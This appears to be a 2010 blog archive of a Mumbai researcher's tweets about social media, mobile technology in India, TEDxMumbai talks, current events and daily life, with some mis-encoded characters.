My Twitter Updates 2010-12-25

by Dina on October 7, 2010 · 0 comments

in Tweets

  • lol!! RT [ed] @achitnis: Schemes people cook up. 1 day "Social Media Summit" @7K/head which is abt using SM to sell. No SM-people speaking #
  • RT @ScepticGeek: By 2yrs, 81% of children have a digital footprint http://j.mp/cCCOfw /AVG survey #
  • .@stuarthenshall i was abt to say have u seen zingaya http://bit.ly/b3vcJk @stuarthenshall @mrblog? just like Phweet? http://bit.ly/bo1DTi #
  • discovering Death, Modernity & Public Policy – Blog on Death/Dying/Policy .. by anthropology students at GW Univ http://bit.ly/9A0J0b #
  • am reading โ€˜Does your mother know?โ€™ Agency, risk and morality in the online lives of young women in Mumbai http://bit.ly/9f3WDY #
  • met a participant in a study y'day – lovely young girl. loves bollywood and "hollywood" (UK top 40 charts) music. made me smile so ๐Ÿ™‚ #
  • RT @anirudhsbh: A brilliant op-ed by Siddharth Varadarajan on the UP Oonch Nyayalay tragedy. http://3.ly/B3HZ #
  • a friend is looking to buy a trendy bicycle for his 18 year old daughter. any recos on where we cd get one in bombay? #
  • quick survey: what do you feel is going to happen tomorrow when the ayodhya property dispute verdict is revealed? #ayodhyapeace #
  • RT @nicholaspatten: 30 Unusual Creative Business Card Designs For Your Inspiration. http://bit.ly/bHLL2b #
  • So Mike Arrington does a Jason Calacanis! RT @WATblog: AOL Buys Techcrunch โ€“ Will Indian Blogs Be Bought Ever? http://bit.ly/bMNjFl #
  • wish i was young again! as you grow older, you carry so much baggage, it weighs you down #
  • thanks!! RT @gkjohn: RT @TimHarford: Great video on girl empowerment: http://www.girleffect.org/video via @sushobhan cc: @dina #
  • .@aanteladda yes & he exposes much of that – cobbling together compromise solutions!! unfortunately no link up at website. Oct 4 issue. #
  • like Santosh Desai's column in Oct 4 Outlook issue. asks: "is our valorisation of 'jugaad' responsible for this state of affairs (CWG mess)" #
  • woke up at 5.30 this morning – was quite surprised by the smog cloud over the city ๐Ÿ™ #
  • Reading Bytes: Rural marketing & innovation – ITC eChoupal Story, retold fm a Blue Ocean Strategy perspective by @… http://bit.ly/aiZffw #
  • I'm reading: Rural marketing & innovation – ITC eChoupal Story, retold fm a Blue Ocean Strategy perspective by @S_http://bit.ly/bwamY8 #
  • RT @vimoh: Nokiaโ€™s Ovi Life Tools To Offer IGNOU Certificate Programme In English http://bit.ly/brRpy7 #
  • Rural marketing & innovation – ITC eChoupal Story, retold from a Blue Ocean Strategy perspective by @S_Sivakumar http://bit.ly/dvAm1L #
  • 16 Days Campaign against Gender Violence. Want to help? Contact @swarraj or @prajnya http://www.prajnya.in/16days.htm #
  • RT @gkjohn: Mumbai peepz! There's a Wikipedia meetup at 6PM today in Bandra. Details here: http://bit.ly/aWiHHC #
  • I'm reading: 11 concerns about ICTs and โ€˜social media for social goodโ€™ by @meowtree [via @evgenymorozov]: CLIP: "C… http://bit.ly/dtLXMM #
  • thanks you all!! link to the article in Mumbai Mirror http://bit.ly/9ZkOL6 @b50 @skaterearth @palya8pi @KhushiKiDuniya @vanyc @toralvaria in reply to skaterearth #
  • RT @sushobhan: "@vanderbeeken: How an academic researcher uses the iPad in her work http://culturalbytes.com/post/1125482840/workflow" #
  • I'm reading: The Internet Freedom Fallacy and the Arab Digital activism ยซ sami ben gharbia | thanks for the point… http://bit.ly/cYoiMa #
  • http://icio.us/2wsig1 #
  • .@Mizohican @steveportigal huge apologies – i use postalicious to publish my Reading Bytes and it seems to be broken. disabled temporarily in reply to Mizohican #
  • I'm reading: Safe water: extended user testing | interesting longitudinal ethnographic approach to design by @pathhttp://bit.ly/azQWJa #
  • fascinating observations fm Kabul @loosewire. 'cell phone is the Swiss Army penknife for our lives' http://bit.ly/d8ygo8 tks @stuarthenshall #
  • RT @loosewire: Global broadband divide revealed – http://www.bbc.co.uk/news/technology-11162656 #
  • I'm reading: Techtree.com India >Rural Internet Usage in India Soars | via @sunil_abraham: CLIP: According to rec… http://bit.ly/bkS3Cp #
  • was great meeting u @mizohican – like yr v nicely written piece on the jaagore tweetup – Tweeting for a social cause. http://bit.ly/clz4Xk #
  • can u help me source a map/data on electrification in India by region & townclass. nuances eg. dark areas, loadshedding, arbit outages etc #
  • off to my school alumni dinner at Joss. will be meeting folks I haven't seen or spoken to since the 10th grade. quite excited ๐Ÿ™‚ #
  • interesting take on social media conversation – humanization is called for!! RT @jeanlucr: Is Social Conversation a Myth? http://j.mp/akL5Lz #
  • apologies to all – that link was crap. pls revoke access in yr settings if u clicked it. i did. #
  • get a message almost every other day fm twitter: "Reset Password – twitter recd a request to reset PW" who is trying to hack into my acct??? #
  • lol this auto-tweet without consent is quite revealing. shows you how quickly people can click a link you tweet ๐Ÿ™‚ #
  • nice round up of posts on IPhone4 FaceTime http://is.gd/er2qL . & see FaceTime 1910 A.D. http://is.gd/er2SL [via @stuarthenshall] #
  • Day Care Centre for Husbands – http://is.gd/eorH6 :):):) #
  • .@surekhapillai its such an old debate – blogging vs journalism!! http://bit.ly/bB75PE @nehavish @zigzackly @deathendsfun in reply to surekhapillai #
  • we just bagged a v cool research study on mobility. longitudinal diary study with follow-up observations, interviews, iterative groups. ๐Ÿ™‚ #
  • A Global Graveyard for Dead Computers in Ghana – in a slum in Accra. Amazing images @nytimes http://is.gd/eiYjV #
  • I'm reading: Openness or How Do You Design for the Loss of Control? | by @timleberecht | design mind: Quite brilli… http://bit.ly/cdCYSn #
  • off to my society's AGM – should be fireworks – two warring factions. followed by lunch and 'snakes' http://yfrog.com/msvzeqj #
  • One of the best renditions of the National Anthem. Arrangement, vocals & instrumentals are fab! Happy Independence Day http://is.gd/ei8gq #
  • I'm reading: Research in the Wild: Making Research Work in Industry | blog@CACM: CLIP: "Even so, there are many in… http://bit.ly/bT9VsD #
  • Follow @DrAwab's live tweets as they provide relief to flood victims in Pakistan #pkfloods #pkrelief http://twitpic.com/2enieo #
  • Mint Lounge Independence Day issue on Free Speech – well done @priyaramani & team. love this essay by Salil Tripathi http://t.co/nrxWaGO #
  • Outlook independence day issue -The Mobile Republic has interesting stories & editorials on faultlines & challenges of migration in India #
  • I'm reading: A Blackberry addict discovers grassroots enterprise in India | @Shekharkapur shares his jugaad experi… http://bit.ly/aZduR1 #
  • never thought i'd see it written but here 'tis in black & white. the original "snakes coupon"-in my own backyard! http://yfrog.com/msvzeqj #
  • congrats @reshma_paritosh – RT @ResearchRocks – wonderful paper on ethnography from TNS–fantastic examples #MRX http://bit.ly/cBOlkG #
  • this is a first! !email: "i have an obscured business suggestion for you. You can contact me on my private email:richard_yatsun@gala.net" #
  • #meterjamsurvey http://is.gd/efyD6 @ChitraChaudhuri @chrismhiggins @girishmallya @womensweb @beastoftraal @iamShishir tks for early answers! in reply to ChitraChaudhuri #
  • some days, my yoga teacher is more enthu than I am. sigh #lazyday #
  • Quick Twitter survey. Was #meterjam a success? Answer 1:Yes| 2::Can't Say| 3:No|. Pls use #meterjamsurvey tag. Add reasons if u can ๐Ÿ™‚ #
  • ++ RT(ed) @DeathEndsFun First Blackberry, now Google & Skype. http://u.nu/6csne I'm dusting off my stash of postage stamps..can't ban them #
  • You can make the "who to follow" go away! http://j.mp/b5Epdg. Thanks @angelfrmcanada! Worked like a charm. (RT @jdrive) #
  • The Dina Mehta Daily is out – read this Twitter newspaper on http://paper.li/dina (286 contributions today) #
  • I'm reading: Digital education resource and library for researchers and students – Cyborg Anthropology: Cool colle… http://bit.ly/dqVAjS #
  • great summary & analysis! for social media strategists by @dhinchcliffe The 2010 Social Business Landscape: http://bit.ly/9fQ3b6 #e20 #
  • eeek! Ever wondered about the carbon footprint of the Internet? You may be surprised. http://is.gd/eelS7 #environment (via @kiwanja) #
  • 3 yr old Sharp Aquos LCD control board is faulty – Co. Service admits its a defect. but i hv to pay Rs. 6300 to fix. in cash. am pissed off #
  • RT @kerim RT @kdrum: 1/3rd of Pakistan is underwater. http://ow.ly/2otc6 RT@sepoy: The Big Picture. Heart breaking. http://bit.ly/a2BTa6 #
  • I'm reading: Jugaad: mobile phone innovation from Santosh Ostwal | @TheEconomist: Interesting case of grassroots i… http://bit.ly/dmf246 #
  • Innovation – Jugaad: desi style via @TheEconomist: An amazing story of duct-taped Indian ingenuity http://econ.st/9QKMsR (via @kamla) #
  • me too!! RT (ed) @zephoria At TED, @EthanZ on "Does Facebook unite us or divide us?" I am in love with Ethan's brain. http://bit.ly/bksyEN #
  • Sigh.. will this transparency ever come to india? With A Google Map, Find Doctors Behaving Badly- http://n.pr/129134697 NPR via @kencamp #
  • Discussing the future of social disaster response : Red Cross Emergency Social Data Summit A… http://exm.nr/dsjXMv (via @shashib) #
  • do it @gkjohn! How might we increase avail of affordable learning tools & services for students in developing world? http://openideo.com in reply to gkjohn #
  • The Dina Mehta Daily is out – read this Twitter newspaper on http://paper.li/dina (170 contributions today) #
  • thanks to @stuarthenshall & @jackvinson for the link – http://paper.li/dina & I'm having fun creating tags eg. http://paper.li/tag/india #
  • excludes mobile & wireless. telcos get to do what they want! RT [ed] @gkjohn Google & Verizon -net neutrality proposal: http://j.mp/bfiNZf #
  • and another cool video – Prof P Zimbardo on The Secret Powers of Time – love the presentation too!! http://is.gd/eaZeM #
  • watching Sheena Iyengar's talk on the Art of Choosing at TEDGlobal. the discussion in the comments is super! http://is.gd/eaZ38 #
  • I'm reading: 6 Ways Eye Tracking Is Changing the Web @rww | love the web-connected contact lens!!ign: CLIP: "Track… http://bit.ly/cOam3J #
  • twitter recommends i follow @twitter. hehehe #
  • RT @achitnis This is a REALLY hardhitting article about appstores and strategy. A must-read! http://bit.ly/9NQcyA #
  • links on ideal length of video on a landing page – http://is.gd/e9wAC or http://is.gd/e9wDT & egs. here http://is.gd/e9wN5 #
  • we want to add a short animation video on a home page – what's the ideal length to avoid hi bounce rate? suggestions? #
  • +++ RT @ffunch – The ability to see and describe patterns in real time will become more important than specific knowledge, I believe #
  • Or a new form of directory service? RT@labnol – Use this link to determine your social circle according to Google http://j.mp/dwzBNl #
  • interesting post lotsa stats on smartphones. http://bit.ly/ahORF9. curious abt where u source the figures from in yr Almanac @tomiahonen #
  • Nokia's search for a new boss. an American to revamp smartphones? + emerging mkt challenges? interesting times http://is.gd/e5SjL #
  • she lives ๐Ÿ™‚ @javashri #
  • ++++ RT @prempanicker @priyaramani Good girl, you shut the idiot up! ๐Ÿ™‚ #
  • all bandh here at Dadar Mumbai. not a vehicle on tulsi pipe road & gokhale road. i live by the Congress office & close to Shiv Sena HQ #
  • discussing menopause with maid. her view – onset of menopause affects yr eyesight :). explaining to her its probably a 40+ age thing #
  • pain for whom – customer or marketer :)? RT @Kumeugirl came across 'painstorming' this week – a blend of pain points & brainstorming #
  • wow – this german team not only has precision but they're real artists! #ARG #worldcup #GER #
  • interesting – on India's Mobile Providers: Competing for Calls at the Bottom of the Pyramid – http://bit.ly/aTTSGU (via @stuarthenshall) #
  • I'm reading: POV – caste politics of a different kind? Lahore Bombings & the Future of Pakistan: CLIP: "And the p… http://huff.to/bF62nu #
  • looking at a slideshow with images and descriptions of 20 crazy concept phones http://is.gd/da4Y7 #
  • I'm reading: The jugaad myth (via @manipande – on why 'jugaad' is not necessarily innovation)): CLIP: "Earthen pot… http://bit.ly/aHDCQG #
  • Are you a good multitasker? Test your distracibility – your focus and how fast u juggle tasks. at NYTimes http://is.gd/d78CJ #
  • "Photowalks-Mumbai" http://fb.me/AE011PYF – by @suddentwilight – awesome collection of human portraits from Mumbai streets Paromita! #
  • driving in bombay was such a breeze today without the 80000 odd taxis who're on strike. felt like a different city!! #
  • Strategy and Execution for Emerging Markets
    (http://bit.ly/dfXZEo) – HBS Working Knowledge (via @stuarthenshall) #
  • have i really only tweeted 3422 times since Nov 2006???? #
  • what are your recommendations for books on Indian customs and rituals? sociological or anthropological perspectives? #
  • The world's first solar-powered bulb. Awesome potential. http://is.gd/cQ4Dz #designfortheother90pc #bop #innovation (via @kiwanja) #
  • Centre for Internet & Society's Survey: Digital Natives with a Cause? Survey here: http://bit.ly/bByBHE Details: http://is.gd/cPySU #
  • interesting project via @media_reveries: Citid – http://www.citid.net/ – each city in the world gets its own (type)face #
  • I'm reading: Shedding light on the invisible workforce – livemint.com | Indian women contribute more than the offi… http://bit.ly/9ZI4tA #
  • I'm reading: Ethnography in Industry: Objectives? | UX Magazine: CLIP: "Ethnography adapted for industry. In today… http://bit.ly/c76tGt #
  • spotted in delhi on a recent trip – moti nagar area – gas and sex clinic – laughed so much!!! http://yfrog.com/4jpszsj #
  • anyone else getting spammed by SMS messages from tagg.in ??- SMS is from TDtaggin #
  • augmented reality in mobile advertising – Adidas T-shirts – from 3rd person AR to 1st person AR by @tomiahonen http://is.gd/bYy66 #
  • ๐Ÿ™‚ resonates!! RT @bhc3: Discussions about Facebook's privacy settings have the feel of arguing over religion. #
  • .@kenyanpundit cool persp. AR in future mobile design. Moving beyond handset as it is designed. See http://bit.ly/aIx9kZ by @stuarthenshall in reply to kenyanpundit #
  • Did Prosecutor Ujwal Nikam just say folks like #kasab are worse than ants? An open-shut case w hard evidence, so quit the filmy act Sir! #
  • will the death sentence for #kasab deter terrorists? i fear not. he was here to kill and die anyways, as many are. #mumbaiterror #26/11 #
  • reporter mayhem! funny to watch the NDTV reporter w Times Now reporters perched on his shoulder – outside court http://yfrog.com/9e32zpj #
  • I'm reading: What a great sensory anchor or imprint for a brand! The Scent of Memory: Design, Experience & Perfume… http://bit.ly/cTDkNv #
  • so Ajmal Amir Kasab gets death sentence for #mumbaiterrorattacks #
  • mr. arnab goswami seems to be the new hangman for India #mumbaiterrorattacks #
  • I'm reading: Internet Hindus and Madrasa Muslims – @amitvarma explores group polarization [via @prempanicker]: CLI… http://bit.ly/95hc81 #
  • .@stuarthenshall super observations on communication, gestures & AR from #ecomm Pranesh Mistry was inspiring at TED. http://bit.ly/aIx9kZ #
  • Global Voices Citizen Media Summit 2010 ยป Livestreaming fm Santiago Chile. i am sooo envious – have fun y'all! #gv2010 http://is.gd/bWtkp #
  • I'm reading: Colour me purple! Colour & Gender – results of a survey [via @hiteshmehta]: This is funny!!! CLIP: "I… http://bit.ly/cMyfwk #
  • anyone in chennai/delhi buying a car definitely in next 20 days? 3-5 lac range. pls contact me 9820039160 or here. need u for research #
  • I'm reading: A Social Publishing Strategy by @gkjohn at @kanter covers education/publishing. love the skype readin… http://bit.ly/99u7pZ #
  • iphone sound was dead. found the solution in comments http://bit.ly/bCjasx – press middle of the phone – soft & firm. simple & works! #
  • neat article on Art Entrepreneurs in the Sunday HT Mumbai edition. http://tinyurl.com/33rwsel . TEDFellow @sharmistharay is one of them! #
  • does anyone know if chorbazaar in bombay will be open today? given its maharashtra day and all #
  • pic of govt of india car that broke a traffic signal at Santacruz W, Mumbai. at 2:15 pm today. pic at next signal. http://yfrog.com/jyac6j #
  • 10 Tactics – turning info into action. Film screening & discussion at National College, Bandra on 29th. 5-8 pm. http://bit.ly/aZVGA4. #
  • meeting at andheri west, then off to tulip star for mira's exhibition called 'aarchives' which is on today. http://tinyurl.com/2a2alh2 #
  • Bought freshly ground Peaberry coffee at Leo's in Mylapore today. Happy drinker :). http://twitpic.com/1i4a4u #
  • … 2/2 @sushobhan @sarina_singh "we have created a society that honors the servant and has forgotten the gift.โ€ โ€“ Albert Einstein in reply to sushobhan #
  • Chennai's big heart in wishing Sachin Tendulkar the day before the IPL final. http://twitpic.com/1i028s #
  • Love it! "The power of accurate observation is commonly called cynicism by those who have not got it" G BShaw /via @sarina_singh @shushobhan #
  • RT @TEDxMumbai: All the #TEDxMumbai videos in one place: http://tedxmumbai.com/videos/ #
  • absolutely love the filter coffee in chennai – nice bonus when #workingonaweekendagain #
  • out all day observing & video-taping how people buy cars in chennai! hope its not too hot. can't tell fm hotel room #workingonaweekendagain #
  • good god – thanks to @twitter_tips and others, this blogpost of mine has been RT'ed 96 times http://j.mp/diBkVc #
  • That took 5 mins. Cabbie comes back smiling. Paid the cop Rs 100 instead of the Rs 1200 fine. Mahim junction #
  • Silly megacab driver. Caught by a cop talking on cell phone on my way to the airport. In cab waiting for him to get his license back. #
  • if u want to protect yr privacy fm facebook's new personalization, read this & opt out: http://bit.ly/9K21M8 via @emilychang @librarianbyday #
  • off to chennai again today – will be flying back during the ipl finals – if flight's on time will get the second half hopefully! #
  • RT @acarvin: @jeffjarvis: It's no longer "after we're done, you comment." It's now, "we're collaborating" which is more productive. #140conf #
  • India 3rd in Google takedown requests – maximum for Orkut – http://yfrog.com/1q4vaphttp://3.ly/wsAC [via @ultrabrown @hemantmmehta] #
  • jet airways sucks. can't prepone a flight online. called IVR. say i need to get to their city office in 24 hrs to pay the difference. #fail #
  • .@hardik BJP rally against price hikes in Delhi today. they're expecting 2.5 million people at Ramlila Maidan http://tinyurl.com/y7au3ko #
  • Wow rule of law prevails! Supreme Court upholds life term for Manu Sharma (politician's son) in Jessica Lall murder case http://is.gd/byTPk #
  • I'm reading: The Economist on innovation models – jugaad, shanzai – in emerging markets: From Jugaad in India to S… http://bit.ly/bcVJuc #
  • .@stuarthenshall i moved to Safari weeks ago. updated to Firefox 3.6.3 which won't load unless i disable addons & plugins. Firefox #FAIL #
  • .@manuscrypts rush into the rapids :). i know some developers using the Agile method. thanks for the link! http://tinyurl.com/y8ljemq #
  • IndiaSocial has put up the results of the 1st Indian Social Media Case Study Challenge [discl: I was a judge] http://tinyurl.com/y2jh6jf #
  • I'm reading: The Triumph of the Ordinary Cellphone – NYTimes.com | by @anandwrites [via @sunil_abraham]: Reality … http://nyti.ms/afrI0B #
  • Reinventing India – the Bihar way. The NY Times – how good leadership can affect a turnaround in development. http://tinyurl.com/yedq7su #
  • off to Seepz for a meeting. not looking forward to the drive there! #
  • I'm reading: Skype and iPhone 4.0 โ€“ Telecoms and Social Networks | @stuarthenshall: CLIP "Unfortunately this means… http://bit.ly/dvgm0a #
  • the raintree hotel on St. Mary's Road in chennai is nicely designed. modern fittings & accessories. nice feel to ithttp://yfrog.com/4xchumj #
  • does anyone know if there's a meru/easycab/megacab equivalent for chennai? can u give me the numbers please? #
  • Boarding took aaages. 2 mins after pilot announced we're taking off, he then said disarm doors. Technical snag it seems. The woe of flying! #
  • exhausted after a full day's work. off to chennai t'rrow for a couple of days. hope its not too hot. weather in delhi last wk was awful #
  • I'm reading: Liveblogging from TEDx Mumbai – The India Uncut Blog – India Uncut: Some classy live-blogging by Amit… http://bit.ly/blwLlB #
  • thank you Ajay, Parmesh, @netra, yatish, @ankeshk @cleartrip @bluefrog & all other team members for a fabulous TED Saturday! #tedxmumbai #
  • Lakshmi's talk reminds me of Sunita Krishnan's at Tedindia.The hope that each of us accepts the "fringes" into our own lives. #tedxmumbai #
  • Oieee iPhone dying!! Should hv brought my laptop or phone charger. :(. #tedxmumbai #
  • "give ownership to the community & they'll show they ca do it. We proved we were employable thru education" Lakshmi Tripathy. #tedxmumbai #
  • "People used to accept my art but not me. It changed when I worked on tv films" Lakshmi who founded APac Transgender network #tedxmumbai #
  • Laxmi of Astitva.Talks of discrimination. shameful incident at Bombay gym last eve. some members objected to laxmi's presence. #tedxmumbai #
  • Percentage of ''yays' higher for me at #tedxmumbai than at tedindia in Mysore. Perhaps a more localized homogeneous audience? + curation. #
  • Dhanashree Pundit sez indian music needs ornamentation coz it's based on simple melodies unlike western music wh has > layers. #tedxmumbai #
  • Wow the first standing ovation at #tedxmumbai For Dr. Ganesh Devy. Got goose pimples. Elegant slides too. http://twitpic.com/1cuqu1 #
  • Like his talk a lot. +++ Ganesh Devy. #tedxmumbai Multilingual cacophony. In india 96% speak 4% of languages & 4% speak 96% of languages #
  • G Devy #tedxmumbai on why languages die.A reason is conquest. command of language became the language of command. http://twitpic.com/1cuo9p #
  • Folks following the livestream, is the audio working ok now?? The livestreamers r asking. Pls add hashtag #tedxmumbai to yr response #
  • Steven Baker's been in 20+ bollywood flicks as an extra. He's an MA in indian cinema & is a journo #tedxmumbai http://twitpic.com/1ctr5w #
  • Kishor Rithe of Satpuda foundation on tiger conservation. He links this to the development of a nation and planet. #tedxmumbai #
  • Dr Raghunathan's talk based on an anthropoogical persp – v r like that only. & heh pics on his charts say Source: Internet #tedxmumbai #
  • .@twilightfairy yes. And this is well within the bounds of what's acceptable 'officially' or the rules if u want to go by them in reply to twilightfairy #
  • .@twilightfairy it would have been mean of the organizers not to give them that no?? It's normally what happens at conferences and events in reply to twilightfairy #
  • .@twilightfairy no prob w @cleartrip getting 5 mins on stage. Esp as it was transparently done & not masked as a Ted talk. #tedxmumbai in reply to twilightfairy #
  • .@twilightfairy they've sponsored the whole event. flown in speakers etc So they get their 7 minutes. No prob w that. #tedxmumbai in reply to twilightfairy #
  • Mr. Anupam Kher's theatrics and comic timing are really rocking the audience!! #tedxmumbai http://twitpic.com/1ct0sk #
  • . @amitvarma is liveblogging TEDxMumbai http://bit.ly/bpkHSU. Can u spot him?? No zoom on the iPhone. http://twitpic.com/1csyp8 #
  • Anju Venkat our body doesn't check yellow pages or 'google' before reacting. It reacts spontaneously. #tedxmumbai http://twitpic.com/1cswd4 #
  • Any complaints on the livestream http://bit.ly/tedxmumbai please tweet with hashtag #tedxmumbai #
  • Danny Carroll on how you can reverse terminal cancer with just a diet. #tedxmumbai http://twitpic.com/1csqdr #
  • Crowdsourcing thought fm Viren Rasquinha. 1 million Indians contributing Rs.10/month, will ensure several Olympic medalists #TEDxMumbai #
  • Viren Rasquinha on stage. He's cute!! #tedxmumbai http://twitpic.com/1csig9 #
  • Viren Rasquinha on how why we fare so badly in sports as a nation. Check olympicgoldquest his org. #tedxmumbai #
  • watch @TEDxMumbai live at http://bit.ly/tedxmumbai – it's on! Here's a pic of the livestreaming set up. http://twitpic.com/1csffv #
  • Weird to be at bluefrog so early in the morning. # tedxmumbai starts. Pic. http://twitpic.com/1csdm0 #
  • a friend asks how to post her FB updates on twitter. FB has an official app for pages only. any reliable apps out there? #
  • nice run up post to the ipad launch today @stuarthenshall http://bit.ly/9vuJTG. do u get yours today? bring it to india when u come next ๐Ÿ™‚ in reply to stuarthenshall #
  • see you @TEDxMumbai today. if u'r missing it, free livestream at http://bit.ly/tedxmumbai . Full schedule here http://is.gd/bbZ7O #
  • .@Gauravonomics thanks. sustainability yes! also check others' comments on facets like efficacy, stretch, resale value, relationships in reply to Gauravonomics #
  • .@heathr just woke up & watching @kevinmarks & u talk to zoe keating on at http://live.twit.tv. fascinating! she's a maven in so many ways. in reply to heathr #
  • does anyone know whether Skype now supports multi-person video conferencing? #
  • .@beastoftraal, @anita_lobo, @sameerpatel, @stuarthenshall, @futurescapes tks for yr super thoughtful comments. Part 2 – http://is.gd/b8e9g #
  • I'm reading: Using Mobile Phones To Broadcast News – Gaon ki Awaaz (voice of the village) & another among tribals … http://bit.ly/9dP7iQ #
  • My six year old tetris buddy http://twitpic.com/1bj390 #
  • I'm reading: Putting people first ยป APโ€™s ethnographic studies look for solutions to news and ad โ€œfatigueโ€: CLIP "… http://bit.ly/clreCw #
  • i thought bombay was hot. delhi is really really really hot. 37 degrees when we landed at 7.45 pm #
  • off to delhi this evening. back thursday. would love to meet folks there or in gurgaon on tues if you're free! #
  • 2/2 @surekhapillai – contextualizing the issue to the medium and how its being used is reqd (eg. why people follow others?). #
  • I'm reading: The Future of Health Care Is Social | Fast Company: CLIP: Health care is a personal issue that has be… http://bit.ly/42nbI4 #
  • .@manuscrypts @ashumittal @twilightfairy true. wonder what it does to their credibility on twitter. r there sponsored posts at their blogs? in reply to manuscrypts #
  • .@manuscrypts oh i hadn't – its priceless!!! @flyyoufools ' toon on fairness creams in india http://bit.ly/bYoshc in reply to manuscrypts #
  • triggered by @surekhapillai http://is.gd/aTT9K . Will advertisers start directly sponsoring tweets? esp. w the celeb flood? paypertweet? #
  • will it ever end? the Indian whitening cream market is expanding at the rate of 18% a year. http://is.gd/aTSEt [via @hemantmmehta & others] #
  • .@hapeeg i think i do – we move in herds, we are very connected – we always know someone who's sister's friend knows someone & so on … #
  • do you agree?? Why India loves Facebook – http://www.viewsflow.com/w/2JF6 #
  • Looking for data analysis support. Online questionnaire. 500 sample. Need output SPSS data file & data tables acc. to specs. Pls contact me #
  • .@shahpriya unfortunately india isn't in the list yet! @sameerpatel #
  • I'm reading: Crowdsourcing for a Billion Dollar Business โ€“ Cisco I-Prize >> @bhc3 discusses how crowdsourcing is u… http://bit.ly/cmMMIk #
  • registrations are now open for the Global Voices Summit being held this yr in Santiago, Chile – http://summit2010.globalvoicesonline.org/ #
  • thought for the day – thanks @nancywhite – 'finding comfort in ambiguity' – helps navigate online spaces .. and life! http://is.gd/aMOrY #
  • I'm reading: Is Social Media a New Addiction? | Retrevo research shows how Social Media is eating into bedtime [vi… http://bit.ly/9IEVca #
  • I'm reading: Good back-to-the-basics primer (via @sameerpatel) >> Enterprise 2.0: Can it really benefit your busin… http://bit.ly/cENcbk #
  • I'm reading: A Collection of 50+ Enterprise 2.0 Case Studies and Examples from @jacobm [via @futurescape]: CLIP: "… http://bit.ly/bIu2Pi #
  • RT @nixxin: Is this true? Anti-Pakistan SMS campaign launched in India http://bit.ly/aWz72C I dont know whom to call to check…anyone? #
  • how these things make news @ashoklalla! we talked it this in an open session w Unilever india about 3 yrs ago! http://bit.ly/cC7u14 in reply to ashoklalla #
  • evolution tracked by Neatorama – the transformation of tech company logos – http://is.gd/aLqLQ [via a link from @guykawasaki] #
  • nice one 'gutham'! @gkjohn talks about Pratham Books – A book in every child's hand. http://asiawheeling.com/?p=1963 #
  • My first Alphonso mangoes of the season http://twitpic.com/192l7s #
  • L'edMAO truly! http://bit.ly/9TzKEh RT @kanishktharoor: words fail me RT @ishaantharoor there is a morbid brilliance to this #arsenalfan #
  • purchasing power of residents isn't factored in – The Economist's survey on living costs in big cities http://is.gd/aJmAq #
  • this new mouseover on the twitter web client display picture is so annoying. makes me feel like such a clutz. bad UI design change. #
  • a nice reminder! RT @jeanlucr: Twitter in 4 parts: Reading, Writing, Distribution, Usability http://j.mp/dzmsZY #
  • I'm reading: All This ChittahChattah | I Need You to Need Me: Needs vs Wants – which is the better research questi… http://bit.ly/dlG9tI #
  • I'm reading: Two Paradigms of Digital Activism: Empowering With Information Versus Engaging With Inspiration ยซ Gau… http://bit.ly/dtRXTP #
  • nice @gauravonomics! 2 digital activism paradigms – empowering w info & engaging w inspiration. both play a role http://icio.us/qaqila #
  • RT @streetanchor: statistics don't lie. indian roads should be sent to the gallows. http://bit.ly/awFstl and http://is.gd/aFZe9 #
  • live pics of #redshirt march from @petitport and @robinthailand – take care you guys! #
  • shame!! India's high on religious restrictions (social & govt) – Pew Research report http://bit.ly/56xhx2 [via @piyul & @fchiramel] #
  • RT @SameerPatel: Indiaโ€™s Rural Cell Movement: Can You Hear Me Now? http://ow.ly/1jRlV tip @techmeme #
  • congrats @maheshmurthy @rajivdingra, @faisalmouthshut @pinstorm @watblog for your #idma awards. well done!! (indian digital media awards) #
  • #tweetrush define? opening my google reader after months & bookmarking interesting links. Yours? #
  • I'm reading: The FASTForward Blog ยป Enterprise 2.0 Adoption Research from Cecile Demailly: Commentary by Bill Ive… http://bit.ly/9zbyT5 #
  • Neat review by @billives on Enterprise 2.0 Adoption Research, by Cecile Demailly, based on an online survey http://icio.us/bnfjo5 #
  • I'm reading: A Work in Progress: How technology is shaping the way we tell stories – AustinChronicle.com: CLIP: "… http://bit.ly/9e9vwj #
  • .@amrithallan install firebug add-on into firefox then run it on the open page- u can see the CSS for any website http://is.gd/abSj3 in reply to amrithallan #
  • RT @mtrends: The 4 research focus areas of Nokia http://twitpic.com/17vjog #
  • "So, one might wonder: What would be on Walter Benjamin's Kindle?" How tech is changing the we we tell stories http://icio.us/dabyze #
  • Why "where are you doing it" trumps "what are you doing" by @newmediajim. a tale of "risk, reward, redemption" http://icio.us/ozl22q #
  • that last tweet was supposed to be @euan. i know where you're coming from – these damn buzzwords ๐Ÿ™‚ #
  • The country, my city, neighbourhood, social circles all reflect a co-existence & co-dependence inspite of diverse religions, lang, food, etc #
  • I'm reading: The Future of the Internet IV | Pew Research Center's Internet & American Life Project: CLIP: "A sur… http://bit.ly/9Kqmkv #
  • Pew Research with Internet 'Experts' indicates Google is Not Stupid … among other things http://icio.us/vsklds #
  • Multiculturalism is the most potent political idea for the world today http://bit.ly/bz5V0G RT @htTweets [via @hemantmmehta] #
  • good talk 'Design Outside the Box' by Jesse Schell on Gaming future. He references facebook, clubpenguin, wii http://icio.us/v1gkfy #
  • 'The Definitive Guide to Scaling Social Enterprise' – an interesting read! http://bit.ly/c5FC5G [via @vijaysankaran] #
  • RT @stuarthenshall: Who r "experts" on #jobs on twitter? Beyond tips, want to connect w tweeters wanting to create a jobs marketplace #
  • I'm reading: The Social Media Expert Crisis Descends: "If youโ€™ve gotten 200 followers for your corporate Twitter a… http://bit.ly/9est7u #
  • It was coming!! The Social Media Expert Crisis. [via @TobyDiva & @tishgrier] http://icio.us/n3nprx #
  • Some really really cool social media infographics [via @dhinchcliffe & @jameskobielus] http://icio.us/p52yxe #
  • the aye's have it. now the real work begins! #womensreservationbill passed in rajya sabha #
  • looking for evidence that 'durability' as a brand proposition isn't a big purchase driver for youth today. egs, links anecdotes welcome! #
  • I'm reading: Time to Rewrite the Brand Playbook for Digital – Advertising Age – CMO Strategy: CLIP: " .. a lot of … http://bit.ly/9f2bnA #
  • Are we asking the right questions? http://icio.us/vsh5en #
  • RT @feminist_tech: How do u use technology as a feminist? Share how u've used tech for women's rights & empowerment. #wd #takebackthetech #
  • curious heh. 4 trending topics on twitter today #andthenwehadsex #itsnotok #thatswhyileftyou #howwouldyoufeel. soppy movie in the making? #
  • "People shd stop speaking as if social media were poised to eliminate real-life interaction. It enhances & expands=win win" [via @lisang] #
  • RT @Netra: RT @TEDxMumbai : TEDxMumbai Application now opens. Please register here : http://tedxmumbai.com/register #
